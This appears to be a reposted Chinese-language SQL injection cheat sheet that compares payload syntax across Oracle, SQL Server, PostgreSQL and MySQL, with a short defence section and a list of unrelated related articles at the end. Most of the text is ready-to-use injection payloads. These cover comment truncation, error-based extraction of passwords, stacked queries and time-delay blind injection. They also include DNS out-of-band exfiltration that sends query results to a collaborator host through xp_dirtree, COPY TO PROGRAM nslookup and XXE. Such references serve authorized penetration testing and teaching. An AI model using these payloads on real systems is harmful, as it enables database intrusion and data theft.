SQL注入速查表(含不同数据库攻击方式与差异对比)

1. 字符串连接

字符串连接是SQL注入中常用的操作,用于将多个字符串拼接为一个,以构造复杂的注入语句。不同数据库的字符串连接语法存在显著差异,了解这些差异有助于精准构造payload。

  • Oracle:使用||操作符进行字符串连接,例如:

    'foo'||'bar'
    

    输出结果为foobar。Oracle的||操作符简单高效,广泛用于动态SQL构造。

  • Microsoft SQL Server:使用+操作符进行字符串连接,例如:

    'foo'+'bar'
    

    输出结果同样为foobar。需要注意的是,Microsoft SQL Server在字符串连接时要求数据类型一致,否则可能触发类型转换错误。

  • PostgreSQL:与Oracle类似,PostgreSQL也使用||操作符:

    'foo'||'bar'
    

    PostgreSQL的字符串处理方式与Oracle高度一致,但其内部字符编码可能影响某些特殊字符的处理。

  • MySQL:MySQL支持两种字符串连接方式。第一种是通过空格分隔字符串:

    'foo' 'bar'
    

    注意,两个字符串之间必须有一个空格。第二种方式是使用CONCAT函数:

    CONCAT('foo','bar')
    

    CONCAT函数更灵活,支持多参数拼接,且对特殊字符的处理更稳定。

差异分析:MySQL的字符串连接方式最为多样,但空格分隔的语法较为独特,容易被忽视。Oracle和PostgreSQL的||操作符在语法上统一,但与Microsoft SQL Server的+操作符不同,攻击者需根据目标数据库调整payload。此外,MySQL的CONCAT函数在跨数据库兼容性测试中更为常用。


2. 子字符串提取

子字符串提取用于从字符串中截取特定部分,常用于提取敏感数据或构造复杂的注入语句。所有主流数据库都支持SUBSTRINGSUBSTR函数,但参数和行为略有不同。

  • Oracle

    SUBSTR('foobar', 4, 2)
    

    从第4个字符(1-based索引)开始,提取长度为2的子字符串,结果为ba

  • Microsoft SQL Server

    SUBSTRING('foobar', 4, 2)
    

    语法与Oracle相同,同样返回ba。Microsoft SQL Server的实现较为标准,但性能可能因数据库配置而异。

  • PostgreSQL

    SUBSTRING('foobar', 4, 2)
    

    与Oracle和Microsoft SQL Server一致,返回ba。PostgreSQL的子字符串操作支持正则表达式扩展,增加了灵活性。

  • MySQL

    SUBSTRING('foobar', 4, 2)
    

    语法与其他数据库一致,返回ba。MySQL还支持SUBSTR作为别名,但功能相同。

差异分析:子字符串提取的语法在各数据库中高度一致,均为SUBSTRINGSUBSTR,且都使用1-based索引。唯一的细微差异在于PostgreSQL支持正则表达式扩展,适用于更复杂的字符串操作。攻击者在构造payload时,通常可以直接复用相同的子字符串提取语句,但需注意目标数据库是否支持额外的参数或扩展功能。


3. 注释

注释在SQL注入中用于截断原始查询,移除后续的合法SQL语句,从而让注入代码生效。不同数据库的注释语法差异较大,需特别注意。

  • Oracle

    --comment
    

    使用双破折号表示单行注释,后续内容被忽略。

  • Microsoft SQL Server
    支持两种注释方式:

    --comment
    /*comment*/
    

    分别表示单行注释和多行注释。多行注释在复杂注入场景中更灵活。

  • PostgreSQL
    与Microsoft SQL Server类似,支持:

    --comment
    /*comment*/
    

    语法一致,行为相同。

  • MySQL
    支持三种注释方式:

    #comment
    -- comment
    /*comment*/
    

    注意,--后必须跟一个空格,否则无效。#注释是MySQL特有的,广泛用于Linux环境。

差异分析:MySQL的注释方式最为丰富,尤其是#注释的独特性使其在Linux服务器上常见。Oracle仅支持单行注释,限制了复杂场景下的灵活性。Microsoft SQL Server和PostgreSQL的注释语法一致,适合跨数据库攻击的通用payload设计。攻击者需根据目标数据库选择合适的注释方式,以确保注入语句正确截断。


4. 查询数据库版本

了解目标数据库的类型和版本是SQL注入攻击的第一步,因为版本信息可以帮助攻击者选择合适的漏洞利用方式。不同数据库的版本查询语句差异显著。

  • Oracle

    SELECT banner FROM v$version
    SELECT version FROM v$instance
    

    v$version提供详细的版本信息,包括补丁级别;v$instance提供实例级别的版本信息。

  • Microsoft SQL Server

    SELECT @@version
    

    返回完整的版本字符串,包含操作系统和数据库补丁信息。

  • PostgreSQL

    SELECT version()
    

    返回详细的版本信息,包括编译选项和环境细节。

  • MySQL

    SELECT @@version
    

    返回数据库版本号,格式简洁,但信息量较少。

差异分析:Oracle的版本查询需要访问特定的系统视图(如v$version),而Microsoft SQL Server和MySQL使用全局变量@@version,语法更简洁。PostgreSQL的version()函数返回的信息最为详细,适合需要深入分析的场景。攻击者在构造payload时,应优先选择能返回最多信息的语句,同时注意权限限制。


5. 查询数据库内容

查询数据库中的表和列信息是SQL注入的核心目标之一,通常用于发现敏感数据的存储位置。不同数据库的元数据表和查询方式存在明显差异。

  • Oracle

    SELECT * FROM all_tables
    SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
    

    all_tables列出所有可访问的表,all_tab_columns提供指定表的列信息。

  • Microsoft SQL Server

    SELECT * FROM information_schema.tables
    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    

    使用information_schema视图,符合SQL标准,易于跨数据库移植。

  • PostgreSQL

    SELECT * FROM information_schema.tables
    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    

    与Microsoft SQL Server一致,使用information_schema视图。

  • MySQL

    SELECT * FROM information_schema.tables
    SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
    

    语法与Microsoft SQL Server和PostgreSQL相同,但MySQL的information_schema可能包含额外信息。

差异分析:Oracle的元数据查询依赖专有的all_tablesall_tab_columns视图,与其他数据库的information_schema标准不同。Microsoft SQL Server、PostgreSQL和MySQL遵循SQL标准,使用统一的information_schema视图,攻击者可直接复用相同的查询语句。需要注意的是,Oracle的查询可能受用户权限限制较多。


6. 条件错误

条件错误用于测试布尔条件,通过触发数据库错误来确认条件是否成立。这在盲注场景中尤为有用。

  • Oracle

    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
    

    使用dual表和除零错误触发条件错误。

  • Microsoft SQL Server

    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
    

    直接使用除零错误,语法简洁。

  • PostgreSQL

    1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
    

    通过嵌套子查询触发除零错误,稍显复杂。

  • MySQL

    SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
    

    使用IF函数结合子查询,触发错误或返回结果。

差异分析:Oracle的条件错误依赖dual表,语法较为独特。Microsoft SQL Server的实现最简洁,直接触发除零错误。PostgreSQL的嵌套子查询增加了复杂性,而MySQL的IF函数提供了更灵活的条件控制。攻击者在选择条件错误payload时,需根据目标数据库的语法特点进行调整。


7. 通过错误消息提取数据

通过构造特定的查询,攻击者可以让数据库返回包含敏感数据的错误消息,从而提取数据。

  • Microsoft SQL Server

    SELECT 'foo' WHERE 1 = (SELECT 'secret')
    

    输出错误:Conversion failed when converting the varchar value 'secret' to data type int.,泄露secret值。

  • PostgreSQL

    SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
    

    输出错误:invalid input syntax for integer: "secret",泄露密码。

  • MySQL

    SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
    

    输出错误:XPATH syntax error: '\secret',泄露secret值。

  • Oracle:不支持直接通过错误消息提取数据,需结合其他技术(如时间延迟或DNS查找)。

差异分析:Microsoft SQL Server、PostgreSQL和MySQL通过类型转换或XPATH错误实现数据泄露,Oracle则因错误处理机制限制,无法直接利用错误消息。攻击者需针对Oracle使用替代方法,如条件时间延迟。


8. 批量查询(堆叠查询)

批量查询允许在单一注入点执行多个查询,但结果通常不返回给应用程序,主要用于盲注场景。

  • Oracle:不支持批量查询,限制了其在复杂攻击中的应用。

  • Microsoft SQL Server

    QUERY-1-HERE; QUERY-2-HERE
    

    使用分号分隔多个查询,执行顺序严格。

  • PostgreSQL

    QUERY-1-HERE; QUERY-2-HERE
    

    语法与Microsoft SQL Server一致,支持多查询执行。

  • MySQL

    QUERY-1-HERE; QUERY-2-HERE
    

    通常不支持批量查询,但在某些PHP或Python API(如mysqli_multi_query)中可能生效。

差异分析:Oracle的批量查询限制使其在盲注场景中较为受限。Microsoft SQL Server和PostgreSQL支持标准的分号分隔语法,MySQL的批量查询依赖应用程序的API支持,实际应用场景较少。


9. 时间延迟

时间延迟用于盲注,通过观察响应时间判断条件是否成立。以下是各数据库的10秒延迟示例:

  • Oracle

    dbms_pipe.receive_message(('a'),10)
    

    使用dbms_pipe包实现延迟。

  • Microsoft SQL Server

    WAITFOR DELAY '0:0:10'
    

    使用内置WAITFOR函数,格式为小时:分钟:秒

  • PostgreSQL

    SELECT pg_sleep(10)
    

    使用pg_sleep函数,参数为秒数。

  • MySQL

    SELECT SLEEP(10)
    

    使用SLEEP函数,参数为秒数。

差异分析:Microsoft SQL Server的WAITFOR DELAY使用时间格式,语法独特;PostgreSQL和MySQL的pg_sleepSLEEP函数更直观,参数均为秒数。Oracle的dbms_pipe实现较为复杂,且可能受权限限制。


10. 条件时间延迟

条件时间延迟结合布尔条件和时间延迟,用于更精确的盲注测试。

  • Oracle

    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
    

    结合CASEdbms_pipe实现条件延迟。

  • Microsoft SQL Server

    IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
    

    使用IF语句控制延迟,语法简洁。

  • PostgreSQL

    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
    

    使用CASE控制延迟,逻辑清晰。

  • MySQL

    SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
    

    使用IF函数结合SLEEP,灵活且易于构造。

差异分析:Microsoft SQL Server和MySQL的条件延迟语法最为简洁,Oracle的实现依赖dual表和dbms_pipe,较为繁琐。PostgreSQL的CASE语句提供了较高的可读性。攻击者在构造条件延迟payload时,需权衡语法复杂度和目标数据库的权限要求。


11. DNS查找

DNS查找通过触发数据库对外部域名的解析,验证注入是否成功,常用于盲注场景。需要配合Burp Collaborator生成唯一子域名。

  • Oracle

    • 旧版本(存在XXE漏洞):
      SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
      
      该方法已修补,但许多未更新系统仍存在风险。
    • 新版本(需高权限):
      SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
      
      需要管理员权限,限制了应用范围。
  • Microsoft SQL Server

    exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
    

    使用xp_dirtree触发DNS解析,适用于Windows环境。

  • PostgreSQL

    copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
    

    使用copy命令调用外部程序,需高权限。

  • MySQL

    LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
    SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
    

    仅限Windows环境,依赖文件操作权限。

差异分析:Oracle的DNS查找方式复杂且受权限限制,Microsoft SQL Server的xp_dirtree简单高效,PostgreSQL的copy命令灵活但需高权限,MySQL的文件操作方式仅限Windows,限制了跨平台应用。


12. 带数据泄露的DNS查找

通过DNS查找将查询结果附加到子域名中,实现数据外带。以下是各数据库的实现方式:

  • Oracle

    SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
    

    将查询结果拼接至子域名,触发DNS解析。

  • Microsoft SQL Server

    declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
    

    使用变量存储查询结果,动态构造DNS请求。

  • PostgreSQL

    create OR replace function f() returns void as $$
    declare c text;
    declare p text;
    begin
    SELECT into p (SELECT YOUR-QUERY-HERE);
    c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
    execute c;
    END;
    $$ language plpgsql security definer;
    SELECT f();
    

    通过自定义函数实现动态DNS请求,复杂但功能强大。

  • MySQL

    SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
    

    仅限Windows,数据通过文件路径外带。

差异分析:Oracle和PostgreSQL的实现较为复杂,需构造XML或自定义函数;Microsoft SQL Server的实现较为直观,MySQL则受限于Windows环境和文件操作权限。攻击者需根据目标环境选择合适的实现方式。


13. 防御SQL注入的建议

虽然本文聚焦于SQL注入的攻击技巧,但防御措施同样重要。以下是针对SQL注入的通用防御建议:

  1. 参数化查询:使用参数化查询或预编译语句,避免动态拼接SQL。
  2. 输入验证:对用户输入进行严格验证,过滤特殊字符(如单引号、双破折号等)。
  3. 最小权限原则:限制数据库用户的权限,防止高危操作(如文件操作或DNS解析)。
  4. 错误信息屏蔽:避免将详细的错误信息返回给客户端,防止数据泄露。
  5. 定期更新:保持数据库和应用程序的最新版本,修补已知漏洞。

数据库特有的防御措施

  • Oracle:限制对v$versiondbms_pipe的访问,禁用XXE相关功能。
  • Microsoft SQL Server:禁用xp_dirtree等扩展存储过程,限制information_schema访问。
  • PostgreSQL:限制copy命令和pg_sleep函数的使用,强化函数权限管理。
  • MySQL:禁用LOAD_FILEINTO OUTFILE功能,限制information_schema查询。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/bicheng/83386.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uni-data-picker级联选择器、fastadmin后端api

记录一个部门及部门人员选择的功能&#xff0c;效果如下&#xff1a; 组件用到了uni-ui的级联选择uni-data-picker 开发文档&#xff1a;uni-app官网 组件要求的数据格式如下&#xff1a; 后端使用的是fastadmin&#xff0c;需要用到fastadmin自带的tree类生成部门树 &#x…

Mac电脑上本地安装 redis并配置开启自启完整流程

文章目录 一、安装 Redis方法 1&#xff1a;通过源码编译安装&#xff08;推荐&#xff09;方法 2&#xff1a;通过 Homebrew 安装&#xff08;可选&#xff09; 二、配置 Redis1. 创建配置文件和数据目录2. 修改配置文件 三、配置开机自启1、通过 launchd 系统服务&#xff08…

wsl安装linux

安装wsl 启用适用于 Linux 的 Windows 子系统 以管理员身份打开 PowerShell &#xff08;> PowerShell > 右键单击 > 以管理员身份运行&#xff09; 并输入以下命令&#xff0c;然后重启 dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsyste…

OpenGL 3D 编程

OpenGL 是一个强大的跨平台图形 API,用于渲染 2D 和 3D 图形。以下是 OpenGL 3D 编程的入门基础。 一. 环境设置 安装必要的库 GLFW: 用于创建窗口和处理输入 GLEW 或 GLAD: 用于加载 OpenGL 函数 GLM: 数学库,用于 3D 变换 // 基本 OpenGL 程序结构示例 #include <GL/g…

Android基于LiquidFun引擎实现软体碰撞效果

一、实现效果 Android使用LiquidFun物理引擎实现果冻碰撞效果 二、Android代码 // 加载liquidfun动态库static {System.loadLibrary("liquidfun");System.loadLibrary("liquidfun_jni");}class ParticleData {long id;ParticleSystem particleSystem;float…

Redis持久化机制详解:RDB与AOF的深度剖析

一、为什么需要持久化&#xff1f; Redis作为内存数据库&#xff0c;数据存储在易失性内存中。持久化机制解决两大核心问题&#xff1a; 数据安全&#xff1a;防止服务器宕机导致数据丢失灾难恢复&#xff1a;支持数据备份与快速重建 二、RDB&#xff1a;内存快照持久化 ▶ …

Netty学习example示例

文章目录 simpleServer端NettyServerNettyServerHandler Client端NettyClientNettyClientHandler tcp&#xff08;粘包和拆包&#xff09;Server端NettyTcpServerNettyTcpServerHandler Client端NettyTcpClientNettyTcpClientHandler protocolcodecCustomMessageDecoderCustomM…

ThreadLocal ,底层原理,强引用,弱引用,内存泄漏

目录 ThreadLocal的基本概念 底层实现原理 强引用与弱引用 内存泄漏问题 内存泄漏的解决方案 示例代码 ThreadLocal的基本概念 ThreadLocal是Java中的一个类&#xff0c;位于java.lang包下&#xff0c;它提供了线程局部变量的功能。每个使用该变量的线程都有自己独立的初…

TomSolver 库 | config详解及其测试

一、C 关键特性解析 1. enum class 强类型枚举 enum class LogLevel { OFF, FATAL, ERROR, WARN, INFO, DEBUG, TRACE, ALL }; enum class NonlinearMethod { NEWTON_RAPHSON, LM };核心特性&#xff1a; 类型安全&#xff1a;禁止隐式转换为整数作用域限定&#xff1a;必须…

【DB2】ERRORCODE=-4499, SQLSTATE=08001

客户在连接DB2压测时报错ERRORCODE-4499, SQLSTATE08001&#xff0c;连接失败&#xff0c;主要是因为通信失败 在本地进行复现&#xff0c;用DBeaver代替java程序&#xff0c;将DB2COMM从TCPIP置为空&#xff0c;重启后重新连接&#xff0c;报一样的错误 而将防火墙开启&…

MicroPython+L298N+ESP32控制电机转速

要使用MicroPython控制L298N电机驱动板来控制电机的转速&#xff0c;你可以通过PWM&#xff08;脉冲宽度调制&#xff09;信号来调节电机速度。L298N是一个双H桥驱动器&#xff0c;可以同时控制两个电机的正反转和速度。 硬件准备&#xff1a; 1. L298N 电机控制板 2. ESP32…

WPF 全局加载界面、多界面实现渐变过渡效果

WPF 全局加载界面与渐变过渡效果 完整实现方案 MainWindow.xaml <Window x:Class"LoadingScreenDemo.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml&quo…

RabbitMQ深度解析:从基础实践到高阶架构设计

引言​​ 在分布式系统与微服务架构主导的现代软件开发中&#xff0c;服务间通信的可靠性、异步处理能力及流量管控成为核心挑战。​​RabbitMQ​​作为基于AMQP协议的企业级消息中间件&#xff0c;凭借其灵活的路由机制、高可用架构与丰富的扩展能力&#xff0c;成为异步通信…

华为OD机试真题——矩形相交的面积(2025A卷:100分)Java/python/JavaScript/C/C++/GO最佳实现

2025 A卷 100分 题型 本专栏内全部题目均提供Java、python、JavaScript、C、C++、GO六种语言的最佳实现方式; 并且每种语言均涵盖详细的问题分析、解题思路、代码实现、代码详解、3个测试用例以及综合分析; 本文收录于专栏:《2025华为OD真题目录+全流程解析+备考攻略+经验分…

基于随机函数链接神经网络(RVFL)的锂电池健康状态(SOH)预测

基于随机函数链接神经网络(RVFL)的锂电池健康状态(SOH)预测 一、RVFL网络的基本原理与结构 随机向量功能链接(Random Vector Functional Link, RVFL)网络是一种单隐藏层前馈神经网络的随机化版本,其核心特征在于输入层到隐藏层的权重随机生成且固定,输出层权重通过最…

阿里云国际站,如何通过代理商邀请的链接注册账号

阿里云国际站&#xff1a;如何通过代理商邀请链接注册&#xff0c;解锁“云端超能力”与专属福利&#xff1f; 渴望在全球化浪潮中抢占先机&#xff1f;想获得阿里云国际站的海量云资源、遍布全球的加速节点与前沿AI服务&#xff0c;同时又能享受专属折扣、VIP级增值服务支持或…

PMOS以及电源转换电路设计

PMOS的使用 5V_EN5V时&#xff0c;PMOS截止&#xff1b; 5V_EN0V时&#xff0c;PMOS导通&#xff1b; 电源转换电路 当Vout0V时&#xff0c;Vg0V, Vgs>Vth, PMOS导通&#xff0c;只有电池供电&#xff1b; 当Vout5V时&#xff0c;Vg4.9V, Vs4.8V?, Vgs<Vth, PMOS截止&am…

云时代:DMZ安全架构的演进与实践

随着云计算的普及,传统的DMZ安全边界正在经历根本性变革。本文探讨如何在云环境中重新设计和实现DMZ架构,以应对现代安全挑战。 1. 传统DMZ与云DMZ的对比 传统DMZ(隔离区)是网络安全的经典架构,但云环境带来了新的挑战: 特性传统DMZ云DMZ物理边界明确的物理网络分区虚拟网…

mqtt协议连接阿里云平台

首先现在的阿里云物联网平台已经不在新购了&#xff0c;如下图所示&#xff1a; 解决办法&#xff1a;在咸鱼上租用一个账号&#xff0c;先用起来。 搭建阿里云平台&#xff0c;参考博客&#xff1a; &#xff08;一&#xff09;MQTT连接阿里云物联网平台&#xff08;小白向&…

职业本科院校无人机专业人才培养解决方案

2023年的中央经济工作会议强调了以科技创新推动现代化产业体系构建的重要性&#xff0c;并提出发展生物制造、商业航天、低空经济等战略性新兴产业。低空经济&#xff0c;依托民用无人机等低空飞行器&#xff0c;在多场景低空飞行活动的牵引下&#xff0c;正逐步形成一个辐射广…